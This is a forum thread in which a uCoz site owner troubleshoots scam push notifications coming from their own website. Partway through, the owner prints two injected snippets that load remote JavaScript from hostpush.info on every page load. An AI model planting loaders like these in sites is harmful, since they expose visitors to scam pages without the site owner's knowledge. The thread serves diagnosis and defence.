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Website Sending Spam Notifications
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Message # 1 | 12:44 PM
I am fairly new to uCoz, and this is my first time using the forum, so please forgive me if this is not in the right place.
I was really excited that I finally got the website finished at blameitonmy80d.com and then one time I visited the site, it asked me to allow notifications. I didn't think much of it and clicked allow since it was my own site. Last night I got 4 notifications from the site that were spam/scam like "Your signature is required." (https://pasteboard.co/Ig1LXnd.png) And clicking on one brought up one of those scam pages saying that I won something (https://pasteboard.co/Ig1Nd9t.png) Now, I know how to turn off the site notifications in Chrome, so that is not the issue, but I don't want other people to get these and think my website is untrustworthy, or worse, fall for a scam. The only thing that I can think of that could be doing it is the code from https://www.socialmediawall.io/ that I embedded to show the social media in one place. Any help would be greatly appreciated.
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Message # 2 | 1:38 PM
antillagorilla, yes, you may be right about the code. Remove it, clear the cache and check whether it was the issue or not.
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Message # 3 | 1:51 PM
Nope, that didn't help. It is still asking for notification request. I have also tried the same, one at a time, for any other code I inserted, like the Facebook Messenger and Google Analytics, even though I doubt those would have been an issue anyway.

Added (2019-05-23, 10:48 PM)
Well, I found the issue. Found this code, the first in the head and the second in the body by using the Chrome developer tools.

<script async="1" id="hostpush_script" data-cfasync="false" own-site="true" own-sign="false" data-sub_id_1="www.blameitonmy80d.com" data-sub_id_2="https" data-stream_id="48" src="//hostpush.info/myucoz.js?domain=www.blameitonmy80d.com&proto=https&stream_id=48&sub_id_1=www.blameitonmy80d.com&sub_id_2=https"></script>
<script type="text/javascript">
(function() {
    var s = document.createElement('script');
    s.setAttribute('async', 1);
    s.setAttribute('id', 'hostpush_script');
    s.setAttribute('data-cfasync', false);
    s.setAttribute('own-site', true);
    s.setAttribute('own-sign', false);
    s.setAttribute('data-sub_id_1', window.location.host);
    s.setAttribute('data-sub_id_2', window.location.protocol.replace(':', ''));
    s.setAttribute('data-stream_id', '48');
    s.src = '//hostpush.info/myucoz.js?domain=' + window.location.host + '&proto=' + window.location.protocol.replace(':', '') +
  '&stream_id=48&sub_id_1=' + window.location.host + '&sub_id_2=' + window.location.protocol.replace(':', '');
    document.head && document.head.appendChild(s);

It seems to go to this: https://hostpush.info/myucoz.js?domain=www.blameitonmy80d.com&proto=https&stream_id=48&sub_id_1=www.blameitonmy80d.com&sub_id_2=https and is causing the notifications. The only issue now is that I can't find the <script> code calling that file from inside the uCoz control panel. cry

Added (2019-05-24, 6:58 PM)
Still having this issue. Is this something on uCoz's side? I was so happy to find such an amazing service for free, but if they will force scam notifications to come from my site, then I guess I will have to stop using it. Too bad since I spent so much time on it. sad

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